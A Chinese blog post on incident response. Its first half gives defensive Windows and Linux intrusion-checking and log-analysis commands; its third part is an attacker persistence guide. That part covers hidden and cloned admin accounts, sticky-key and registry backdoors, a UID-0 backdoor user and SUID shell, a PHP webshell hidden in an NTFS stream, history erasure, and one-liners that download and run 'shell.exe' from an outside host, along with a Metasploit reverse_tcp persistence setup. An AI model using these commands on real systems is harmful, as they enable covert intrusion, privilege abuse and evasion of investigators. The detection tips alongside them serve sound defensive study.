当前位置: 博客首页>> 网络安全 >> 阅读正文

应急响应

作者: 分类: 网络安全 发布于: 2024-07-09 16:18:18 浏览:150 评论(0)


一、入侵排查篇

windows入侵排查

使用环境:Windows Server 2008

检查系统账号安全

查看服务器是否有弱口令,远程管理端口是否对公网开放

检查方法:据实际情况咨询相关服务器管理员

查看服务器是否有可疑账号

检查方法:lusrmgr.msc 可查看是否有新增的可疑账号,如有新增可疑账户,需立即禁用或删除。

查看隐藏账号、克隆账号

检查方法:使用D盾_web查杀工具,集成了对克隆账号检测的功能

结合日志,查看管理员登录时间、用户名是否存在异常

检查方法:

  1. Win+R 打开运行,输入eventvwr.msc,回车运行,打开“事件查看器”。

  2. 导出windows日志,利用微软提供的Log Parser 进行分析。分析示例

    # LogParser.exe -i:输入文件的格式 “SQL语句” -o:输出文件的格式
    LogParser.exe -i:evt "select top 100 * from D:\离线工具\Security.evtx " -o:DATAGRID
    

检查异常端口、进程

网络连接情况,是否有远程连接、可疑连接

检查方法:

  1. 使用 netstat -ano 命令查看目前的网络连接,定位可疑的 ESTABLISHED

    ESTABLISHED:完成连接并正在进行数据通信的状态。

    LISTENING:表示处于侦听状态,就是说该端口是开放的,等待连接,但还没有被连接。

    CLOSE_WAIT:对方主动关闭连接或者网络异常导致连接中断。

    TIME_WAIT:我方主动调用close()断开连接,收到对方确认后状态变为TIME_WAIT。

  2. 根据 netstat 命令定位出的 PID 编号,再通过 tasklist 命令进行进程定位 tasklist | findstr "PID"。可以进一步去任务管理器中确认(不一定能找到)

进程

检查方法:依据进程名称查看是否有可疑进程 tasklist /svc

  1. 输入msinfo32 命令,依次点击 "软件环境 -- 正在运行任务" 就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期以及启动时间等。

  2. 打开D盾_web查杀工具,进程查看,关注没有可疑信息的进程

  3. 通过微软官方提供的 进程资源管理器等工具进行排查

  4. 查看可疑的进程及其子进程

    可以通过观察以下内容

    没有签名验证信息的进程
    没有描述信息的进程
    进程的属主
    进程的路径是否合法
    CPU或内存资源占用长时间过高的进程(比如挖矿)
    

    常用命令:

    1)查看端口对应的 PID:netstat -ano | findstr "port"
    2)查看进程对应的 PID:任务管理器 -- 查看 -- 选择列 -- PID 或者 tasklist | findstr "PID"
    3)查看进程对应的程序位置:
        任务管理器 -- 选择对应进程 -- 右键打开文件位置
        运行输入wmic,cmd 界面输入 process
    4)tasklist /svc 进程 -- PID -- 服务
    5)查看Windows服务所对应的端口:
    	%systemroot%/system32/drivers/etc/services(一般 %systemroot% 就是 C:\Windows路径)
    

检查启动项、计划任务、服务

检查服务器是否有异常的启动项

检查方法:

  1. 登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。

  2. 单击开始菜单 >【运行】,输入 msconfig ,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。

  3. 单击【开始】>【运行】,输入regedit,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
    
  4. 利用安全软件查看启动项、开机时间管理等。

  5. 组策略,运行 gpedit.msc

Linux入侵排查

使用环境:CentOS

系统账号安全

基本使用

1、用户信息文件 /etc/passwd
root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的shell
注意:无密码只允许本机登陆,远程不允许登陆
2、影子文件 /etc/shadow
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段
who 查看当前登录用户(tty 本地登陆 pts 远程登录)
w 查看系统信息,想知道某一时刻用户的行为
uptime 查看登陆多久、多少用户,负载状态

入侵排查

# 查询特权用户特权用户(uid为0)
awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的账号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root账号外,其他账号是否存在sudo权限。如非管理需要,普通账号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
# 禁用或删除多余及可疑的账号
usermod -L user # 禁用账号,账号无法登录,/etc/shadow 第二栏为 ! 开头
userdel user # 删除 user 用户
userdel -r user # 将删除 user 用户,并且将 /home 目录下的 user 目录一并删除

历史命令

基本使用

通过 .bash_history 文件查看账号执行过的系统命令

1、root用户的历史命令
	histroy
2、打开 /home 各账号目录下的 .bash_history,查看普通账号执行的历史命令。
3、历史操作命令的清除:history -c,此命令并不会清除保存在文件中的记录,因此需要手动删除 .bash_profile 文件中的记录。

入侵排查

# 进入用户目录下,导出历史命令。
cat .bash_history >> history.txt

检查异常端口

使用 netstat 网络连接命令,分析可疑端口、IP、PID

netstat -antlp
# 查看 pid 所对应的进程文件路径:
# 运行 ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的 pid 号)

检查异常进程

ps aux | grep $pid

检查开机启动项

基本使用

Linux系统有7个系统运行级别(runlevel)

运行级别0:系统停机状态,系统默认运行级别不能设为0,否则不能正常启动
运行级别1:单用户工作状态,root权限,用于系统维护,禁止远程登陆
运行级别2:多用户状态(没有NFS)
运行级别3:完全的多用户状态(有NFS),登陆后进入控制台命令行模式
运行级别4:系统未使用,保留
运行级别5:X11控制台,登陆后进入图形GUI模式
运行级别6:系统正常关闭并重启,默认运行级别不能设为6,否则不能正常启动

查看运行级别命令runlevel

开机启动配置文件

/etc/rc.d/rc.local
/etc/rc.d/rc[0~6].d

chkconfig 命令用于检查,设置系统的各种服务

# 服务列表[可根据实际需要,停掉不用服务]
chkconfig --list [name] 
# 服务添加[如缺省,则从缺省的init脚本自动建立]
chkconfig --add [name] 
# 服务删除[并把相关符号连接从/etc/rc[0-6].d删除]
chkconfig --del [name] 

当我们需要设置开机启动的脚本时,只需要将可执行脚本放在 /etc/init.d 目录下,然后在/etc/rc.d/rc*.d 文件中建立软链接(使用chkconfig命令)即可。

注:此中的 * 代表 0,1,2,3,4,5,6 这七个等级

入侵排查

查看启动项文件:

/etc/rc.d/rc.local
/etc/rc.d/rc[0~6].d
ls -l /etc/rc.d/rc3.d/

检查定时任务

基本使用

  1. 利用crontab创建计划任务

    基本命令

    # 列出某个用户cron服务的详细内容
    crontab -l 
    #  删除某个用户cront任务(谨慎:删除所有的计划任务)
    crontab -r
    # 使用编辑器编辑当前的crontab文件
    crontab -e 
    # 如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件分时日月周
    
  2. 利用 anacron 命令实现异步定时任务调度

    使用案例

    # 每天运行 /home/backup.sh 脚本:
    vi /etc/anacrontab
    @daily 10 example.daily /bin/bash /home/backup.sh
    # 当 backup.sh 期望被运行时机器却是关机状态,anacron会在开机10分钟之后运行它,而不用再等待7天
    

入侵排查

重点关注以下目录中是否存在恶意脚本

/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

小技巧:

# 查看/etc/cron.daily/目录下的所有文件
more /etc/cron.daily/* 

检查服务

服务自启动

第一种修改方法:

chkconfig [--level 运行级别] [独立服务名] [on|off]
chkconfig –-level 2345 httpd on 开启自启动
chkconfig httpd on (默认level是2345)

第二种修改方法:

修改 /etc/rc.d/rc.local 文件
加入 /etc/init.d/httpd start

入侵排查

查询已安装的服务:

  1. RPM包安装的服务

    # 服务自启动状态,可以看到所有的RPM包安装的服务
    chkconfig --list 
    # 查看系统在3与5级别下的启动项
    # 中文环境
    chkconfig --list | grep "3:启用\|5:启用"
    # 英文环境
    chkconfig --list | grep "3:on\|5:on"
    
  2. 源码包安装的服务

    源码包服务的启动管理:/usr/local/
    源码包服务的自启动管理:/etc/rc.d/init.d/
    

检查异常文件

  1. 查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性。

  2. 排查Webshell、远控木马的创建时间,如何找出同一时间范围内创建的文件?

    可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件。

  3. 针对可疑文件可以使用 stat 查看创建修改时间。

检查系统日志

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

日志文件 说明
/var/log/cron 记录了系统定时任务相关的日志
/var/log/cups 记录打印信息的日志
/var/log/dmesg 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog 记录邮件信息
/var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

日志分析技巧:

# 定位有多少IP在爆破主机的root账号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort |uniq -c | sort -nr | more

# 定位有哪些IP在爆破:
grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

#爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/;print "$1\n";}' | uniq -c | sort -nr
# 登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr| more
# 登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

工具查杀

病毒查杀

ClamAVNet 安装方式:

#安装
yum install -y epel-release
#使用阿里云epel源
wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-
7.repo
yum clean all
yum makecache
yum install -y clamav
#更新病毒库
freshclam
#扫描方法
clamscan -r /etc --max-dir-recursion=5 -l /root/etcclamav.log
clamscan -r /bin --max-dir-recursion=5 -l /root/binclamav.log
clamscan -r /usr --max-dir-recursion=5 -l /root/usrclamav.log
#扫描并杀毒 (慎用,会删除误报)
clamscan -r --remove /usr/bin/bsd-port
clamscan -r --remove /usr/bin/
clamscan -r --remove /usr/local/zabbix/sbin
#查看日志发现
cat /root/etcclamav.log | grep FOUND

web查杀

河马web查杀工具https://www.shellpub.com/doc/hm_linux_usage.html

常见的WebShell查杀工具

D盾web查杀

只提供 Windows 版本。http://www.d99net.net

河马web查杀工具

https://www.shellpub.com/doc/hm_linux_usage.html

Web Shell Detector

Web Shell Detector 具有 WebShell 签名数据库,可帮助识别高达 99% 的 WebShell。兼容性:提供 PHP、Python 脚本,可跨平台,在线检测。

官方网站:http://www.shelldetector.com

如何发现隐藏的WebShell后门

MD5校验

一般官方下载的文件都包含一个md5值,可通过计算文件md5值判断是否文件被篡改

md5_file($filepath) 

diff 命令

diff -c -a -r 2.php 3.php

# -c 显示全部内文,并标出不同之处
# -a diff预设只会逐行比较文本文件。
# -r 比较子目录中的文件。

文件对比工具

常用 Beyond Compare Download Beyond Compare

二、日志分析篇

windows日志分析

使用环境:Windows Server 2008 R2

windows事件日志

Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。

系统日志

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows操作系统预先定义。

默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx

应用程序日志

包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录。

默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx

安全日志

记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、账号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全日志是关闭的,可以使用组策略来启动安全日志,或者在注册表中设置审核策略,以便当安全日志满后使系统停止响应。

默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx

审核策略与事件查看器

需要先开启审核策略:

设置:开始 → 管理工具 → 本地安全策略 → 本地策略 → 审核策略,本地安全设置。

查看系统日志方法:

  1. 在“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器

  2. 按 "Window+R",输入 ”eventvwr.msc“ 也可以直接进入“事件查看器

事件日志分析

对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明:

事件ID 说明
4624 登录成功
4625 登录失败
4634 注销成功
4647 用户启动的注销
4672 使用超级用户(如管理员)进行登录
4720 创建用户

日志分析工具

  1. Log Parser

    使用示例:https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-examples/

    Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\xx.evtx"
    
    1. 查询登录成功的事件
    # 登录成功的所有事件
    LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\security.evtx where EventID=4624"
    
    # 指定登录时间范围的事件:
    LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where TimeGenerated>'2022-11-05 00:00:00' and TimeGenerated<'2022-11-06 00:00:00' and EventID=4624"
    
    # 提取登录成功的用户名和IP:
    LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\security.evtx where EventID=4624"
    
    1. 查询登录失败的事件
    # 登录失败的所有事件:
    LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\security.evtx where EventID=4625"
    
    # 提取登录失败用户名进行聚合统计:
    LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,'')) as Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\security.evtx where EventID=4625 GROUP BY Message"
    
    1. 系统历史开关机记录
    LogParser.exe -i:EVT –o:DATAGRID "SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006"
    
  2. LogParser Lizard

    对于GUI环境的Log Parser Lizard,其特点是比较易于使用,甚至不需要记忆繁琐的命令,只需要做好设置,写好基本的SQL语句,就可以直观的得到结果。

    下载地址:http://www.lizard-labs.com/log_parser_lizard.aspx

    依赖包:Microsoft .NET Framework 4.5,下载地址:

    https://www.microsoft.com/en-us/download/details.aspx?id=42642

补充内容

Windows日志分析参考:https://mp.weixin.qq.com/s/ige5UO8WTuOOO3yRw-LeqQ

Linux 日志分析

使用环境:CentOS

日志说明

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

日志文件 说明
/var/log/cron 记录了系统定时任务相关的日志
/var/log/cups 记录打印信息的日志
/var/log/dmesg 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog 记录邮件信息
/var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个 文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

分析技巧

常用的shell命令

Linux下常用的shell命令如:find、grep 、egrep、awk、sed

小技巧:

  1. grep显示前后几行信息

    # 标准unix/linux下的grep通过下面参数控制上下文:
    #显示file文件里匹配foo字串那行以及上下5行
    grep -C 5 foo file
    # 显示foo及前5行
    grep -B 5 foo file 
    # 显示foo及后5行
    grep -A 5 foo file 
    #查看grep版本号的方法
    grep -V
    
  2. grep 查找含有某字符串的所有文件

    grep -rn "hello,world!" *
    # * 表示当前目录所有文件,也可以是某个文件名
    # -r 是递归查找
    # -n 是显示行号
    # -R 查找所有文件包含子目录
    # -i 忽略大小写
    
  3. 显示一个文件的某几行

    # 从第1000行开始,显示2000行。即显示1000~2999行
    cat input_file | tail -n +1000 | head -n 2000
    
  4. 查找命令

    # 在目录/etc中查找文件init
    find /etc -name init 
    
  5. 只显示/etc/passwd的账户

    cat /etc/passwd | awk -F ':' '{print $1}'
    # 说明:awk -F指定域分隔符为':',将记录按指定的域分隔符划分域,填充域,$0则表示所有域,$1表示第一个域,$n表示第n个域。
    
  6. 删除历史操作记录

    # 删除历史操作记录,只保留前153行
    sed -i '153,$d' .bash_history
    

日志分析技巧

  1. /var/log/secure

    # 定位有多少IP在爆破主机的root账号:
    grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
    # 定位有哪些IP在爆破:
    grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
    # 爆破用户名字典是什么?
    grep "Failed password" /var/log/secure | perl -e 'while($_=<>){ /for(.*?) from/;print "$1\n";}' | uniq -c|sort -nr
    # 登录成功的IP有哪些:
    grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
    # 登录成功的日期、用户名、IP:
    grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
    
  2. /var/log/yum.log

    软件安装升级卸载日志:

    more /var/log/yum.log
    

web日志分析

日志分析技巧

# 列出当天访问次数最多的IP命令:
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
# 查看当天有多少个IP访问:
awk '{print $1}' log_file | sort | uniq | wc -l
# 查看某一个页面被访问的次数:
grep "/index.php" log_file | wc -l
# 查看每一个IP访问了多少个页面:
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
# 将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
# 查看某一个IP访问了哪些页面:
grep ^IP log_file| awk '{print $1,$7}'
# 去掉搜索引擎统计当天的页面:
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' | sort | uniq | wc -l
# 查看2022年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2022:14 | awk '{print $2}'| sort | uniq | wc -l

mysql日志分析

使用环境:DVWA

Mysql 中的 general_log 能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。

# 查看log配置信息
show variables like '%general%';
# 开启日志
SET GLOBAL general_log = 'On';
# 指定日志文件路径
SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';

# 查看有哪些IP在爆破
grep "Access denied" log_file |cut -d "'" -f4 | uniq -c | sort -nr
# 查看爆破的用户名字典是哪些?
grep "Access denied" log_file |cut -d "'" -f2 | uniq -c | sort -nr 

三、权限维持

Windows权限维持-隐藏篇

使用环境:Windows Server 2008

隐藏文件

  1. 利用文件属性:最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件夹里看不到刚刚的文件了。

  2. 真正隐藏文件:

    attrib +s +a +h +r text.txt 
    

    打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选可显示

  3. 利用ADS隐藏文件内容

    echo ^<?php @eval($_POST['test']);?^> > index.php:hidden.jpg
    
    # 查看index.php:hidden.jpg内容, 有两种方式
    notepad index.php:hidden.jpg 
    dir /r
    # 删除index.php:hidden.jpg:直接删除index.php即可
    

隐藏账号

#创建隐藏账号, 密码为abcd
net user test$ abcd /add

想要把该隐藏账户提升为管理员权限,可以进行账号克隆。

克隆账号的制作过程如下:

regedit进入注册表,到“HKEY_LOCAL_MACHINE\SAM\SAM”,单机右键权限,把名为“administrator”的用户赋予完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器。再次打开注册表,复制administrator的F值到test$账户 

检测和清理方法:D盾

Windows权限维持-后门篇

使用环境:Windows Server 2008

粘滞键后门

修改粘滞键程序C:\Windows\System32\sethc.exe的安全设置当前所有者为administrator,保证administrator对sethc.exe完全控制,然后:

#将原本的sethc改名为sethc1
move sethc.exe sethc1.exe 
#将cmd复制并重命名为sethc
copy cmd.exe sethc.exe  

此时在登录界面连按五次shift键即可启动cmd,而且不需要登录就可以执行。

Logon Scripts后门

Logon Scripts是Windows登录脚本,当用户登录时触发,它能够优先于杀毒软件执行,从而绕过杀毒软件对敏感操作的拦截。

#创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径 
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\5555.exe"

注销之后重新登陆服务器,meterpreter即可上线

映像劫持

后门类型也是粘滞键后门

# 在此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f 

此时点击五次shift键会打开cmd。

注册表自启动后门

# 添加键test1,值为后门程序路径。
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "C:\Users\Administrator\Desktop\5555.exe"

# 位置2 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 修改键Userinit的值,添加 C:\Users\Administrator\Desktop\5555.exe

计划任务后门

# schtasks命令设定计划自动启动后门程序。 #每1分钟自动执行5555.exe
schtasks /Create /tn Updater /tr C:\Users\Administrator\Desktop\5555.exe /sc minute /mo 1

 #修改编码
chcp 437
#查看计划任务
schtasks 
# 删除计划任务
schtasks /delete /tn Updater

服务自启动后门

#创建服务 (注意等号后面有空格)
sc create test binpath= C:\Users\Administrator\Desktop\5555.exe 
#设置服务为自动启动
sc config test start= auto 
#启动服务
net start test

Linux权限维持-隐藏篇

使用环境:CentOS

隐藏文件

# 创建隐藏 文件名前面加个.
touch .1.txt

# 查看隐藏文件
ls -al 

隐藏文件时间戳

目的是干扰排查者通过文件创建时间来判断是否木马文件

# 修改文件修改时间为19年8月8日
touch -t 1908081042.30 shell.php

隐藏权限

# 为文件添加锁定属性,锁定后无法删除
chattr +i evil.php 
# 属性查看
lsattr evil.php 
# 解除锁定
chattr -i evil.php 
# 删除文件
rm -rf evil.php 

chattr拓展

a:追加(Append)模式,防止文件被修改,只允许在文件末尾追加内容。
i:不可变(Immutable)模式,防止文件被删除、重命名、链接或修改。
s:同步(Synchronous)模式,要求在文件修改时立即将数据写入磁盘。
u:删除(Undeletable)模式,即使用户具有写权限,也不能删除该文件,除非管理员将其取消。

隐藏历史操作命令

# 只针对你的工作关闭历史记录
set +o history
# 恢复历史记录
set -o history

# 从历史记录中删除指定的命令
# 获取命令以及行号
history | grep "keyword"
# 从历史记录中删除指定的项
history -d [num]
# 我们只保留前150行
sed -i '150,$d' .bash_history

Linux权限维持-后门篇

使用环境:Kali Linux

添加用户名和密码

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

可疑用户排查技巧:

# 查询特权用户特权用户(uid 为0)
awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的账号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root账号外,其他账号是否存在sudo权限。如非管理需要,普通账号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" 

SUID Shell

cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
# 使用guest用户登录就能获取root权限。
/tmp/shell -p

普通用户执行这个SUID Shell时,一定要使用全路径。

排查技巧:

# 在Linux中查找SUID设置的文件
find . -perm /4000
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
# 取消s权限
chmod u-s /tmp/shell

SSH免密登录

# 生成rsa密钥
ssh-keygen -t rsa  

然后将公钥id_rsa.pub中的内容放入服务器的~/.ssh/authorized_keys中,然后将私钥id_rsa放入本地的C:\Users\username\.ssh中,然后使用ssh登录就免密登录

排查技巧:查看 /root/.ssh/authorized_keys 是否被修改,结合文件时间戳、历史命令等进行排查。

Windows命令行文件下载方式汇总

使用环境:Windows Server 2008

主要用于下载后门文件到目标主机上

PowerShell方式下载

# 下载 
powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.0.150/shell.exe','shell.exe')

# 以隐藏的方式下载并执行后门
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.0.0.150/shell.exe'))"

Bitsadmin

bitsadmin /transfer n http://10.0.0.150/shell.exe .\

certutil

#下载文件
certutil -urlcache -split -f http://10.0.0.150/shell.exe shell.exe
#删除缓存
certutil -urlcache -split -f http://10.0.0.150/shell.exe shell.exe delete

用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除

注:缓存目录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"

msiexec

#生成msi包作用是执行calc.exe
msfvenom -p windows/exec CMD='calc.exe' -f msi > calc.msi
#远程执行
msiexec /q /i http://10.0.0.150/calc.msi

渗透测试框架权限维持技术

Persistence模块

通过启动项启动(persistence)的方式,在目标机器上以反弹回连。

-U:设置后门在用户登录后自启动。该方式会在
HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。
-X:设置后门在系统启动后自启动。该方式会在
HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。
-S:作为服务自动启动代理程序(具有SYSTEM权限)
run persistence -X -i 5 -p 9999 -r 10.0.0.150 -P windows/x64/meterpreter/reverse_tcp
#注意: -r后的ip为kali的服务器地址

生成的相关文件位置 :

# 后门文件位置:
C:\Windows\Temp
C:\Users\Administrator\AppData\Local\Temp
# 注册表位置:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\

在Kali中修改监听端口为9999,重新启动目标机器,即可再次收到会话。

handler -H 10.0.0.150 -P 9999 -p windows/x64/meterpreter/reverse_tcp
       

转载时请注明出处及相应链接。

本文永久链接: http://www.baigei.com/articles/emergency-response